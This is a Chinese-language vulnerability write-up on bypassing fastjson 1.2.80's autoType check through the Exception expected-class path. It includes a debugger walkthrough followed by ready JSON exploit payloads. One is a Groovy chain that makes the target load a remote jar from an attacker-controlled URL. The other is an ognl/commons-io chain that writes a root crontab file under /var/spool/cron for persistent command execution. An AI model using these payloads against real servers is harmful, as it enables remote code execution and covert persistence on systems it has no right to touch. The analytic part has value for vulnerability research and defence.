0x01 说明
在fastjson的1.2.80版本中可以通过将依赖加入到java.lang.Exception 期望类的子类中,绕过checkAuto。
0x02 简析
{ "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} }
直接DefaultJSONParser.class搜checkAuto下断点

步入到com/alibaba/fastjson/parser/ParserConfig.java

使用TypeUtils.getClassFromMapping从缓存中读取java.lang.Exception

跳到了checkAuto

往下走,获取ObjectDeserializer对象,因为是异常类,获取到的是ThrowableDeserializer反序列化器

继续步入,跳转到com/alibaba/fastjson/parser/ParserConfig.java

匹配条件
此时clazz为null

匹配下个
步入com/alibaba/fastjson/util/TypeUtils.java
Mappings.put()将类添加到map中
但是cache不为真

匹配下个

此时expectClass

expectClass非空使用addMapping将clazz类加入缓存


每次处理一层json都会putDeserializer,可以向deserializers添加新数据。

第三次处理会加上org.codehaus.groovy.control.ProcessingUnit

0x03 利用
1、groovy链
需要存在groovy链,这里测试版本使用如下版本
<dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>3.0.12</version> </dependency>
jar包用的
https://github.com/Lonely-night/fastjsonVul
将CompilationFailedException作为子类,java.lang.Exception作为期望类可绕过检测
{ "@type":"java.lang.Exception", "@type":"org.codehaus.groovy.control.CompilationFailedException", "unit":{} }
发利用包
{ "@type":"org.codehaus.groovy.control.ProcessingUnit", "@type":"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit", "config":{ "@type": "org.codehaus.groovy.control.CompilerConfiguration", "classpathList":["http://127.0.0.1:8081/attack-1.jar"] }, "gcl":null, "destDir": "/tmp" }

2、ognl & io & aspectj & commons-codec
payload可通过大哥写的生成
https://github.com/kezibei/fastjson_payload/blob/main/src/test/Fastjson26_ognl_io_write_4.java
这里payload为往/var/spool/cron/root目录写入计划任务,注意只能往存在目录下写文件
1.2.73-1.2.80 ognl-3.2.21 commons-io-2.2 aspectjtools-1.9.6 commons-codec-1.6 写入复杂文件结构,文件需要大于8kb
{ "su14": { "@type": "java.lang.Exception", "@type": "ognl.OgnlException" }, "su15": { "@type": "java.lang.Class", "val": { "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.lang.String" "@type": "ognl.OgnlException", "_evaluation": "" } }, "su16": { "@type": "ognl.Evaluation", "node": { "@type": "ognl.ASTMethod", "p": { "@type": "ognl.OgnlParser", "stream": { "@type":"org.apache.commons.io.input.BOMInputStream", "delegate":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "@type": "org.apache.commons.codec.binary.Base64InputStream", "in":{ "@type":"org.apache.commons.io.input.CharSequenceInputStream", "charset":"utf-8", "bufferSize": 1024, "s":{"@type":"java.lang.String""文件baes64" }, "doEncode":false, "lineLength":1024, "lineSeparator":"5ZWKCg==", "decodingPolicy":0 }, "branch":{ "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "targetPath":"/var/spool/cron/root" }, "closeBranch":true }, "include":true, "boms":[{ "@type": "org.apache.commons.io.ByteOrderMark", "charsetName": "UTF-8", "bytes":[85, 48, 104...文件bytes] }], } } } }, "su17": { "$ref": "$.su16.node.p.stream" }, "su18": { "$ref": "$.su17.bOM.bytes" } }